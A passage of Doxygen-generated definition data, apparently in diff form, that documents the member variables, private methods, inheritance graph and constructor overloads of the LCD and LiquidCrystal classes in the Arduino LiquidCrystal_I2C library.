'/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '497'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ae47a0e2eff74431a39774b788d5761f4'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaycontrol'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '493'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1aef093ba3f8e1016267b40ac235a0fa0f'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displayfunction'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '491'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a726b9a68d091dd8683a18e83f3a8fd3c'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaymode'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '495'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ac1374911fb145fea430c21092ada0c06'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_numlines'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '496'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a990338759d2abe10b0fb1743b7789566'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_polarity'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '498'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a31a0cb42497d83cdc9cb8000828f7190'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'command'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '513'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a command to the LCD. + @discussion This method sends a command to the LCD by setting the Register + select line of the LCD. + + This command shouldn't be used to drive the LCD, only to implement any other + feature that is not available on this library. + + @param value[in] Command value to send to the LCD (COMMAND, DATA or + FOUR_BITS). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a8a5b6f6f448a6ca6eeb3466c370d47ab'; + sec-mem-virt = virtual; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '529'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD. This is a pure abstract + method, therefore, it is implementation dependent of each derived class how + to physically write to the LCD. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + cp-fileline = '170'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 5; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 2; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 3; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 4; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 6; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 7; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal'; + cp-name = 'LiquidCrystal'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a49d2bd8d26031a1c83bcbd73978a1686'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '55'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 8 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a30e3d865c4b4a003a36cb45903f93644'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '58'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1ae0c3c8f7661634b1400f00a1c9c02c26'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '68'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a52a4de3d866e347208a32dfc9d797729'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '86'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a0a0a8dfa7a2e775a031fd65f5c6366ec'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '76'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 4 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a8b90122c67a6d14b967c8a11ba490670'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '83'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a23124e6dd5ac4a9b6147629b96e91953'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '78'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1aff2330186495fde93370d46c0ca2cbf0'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '64'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 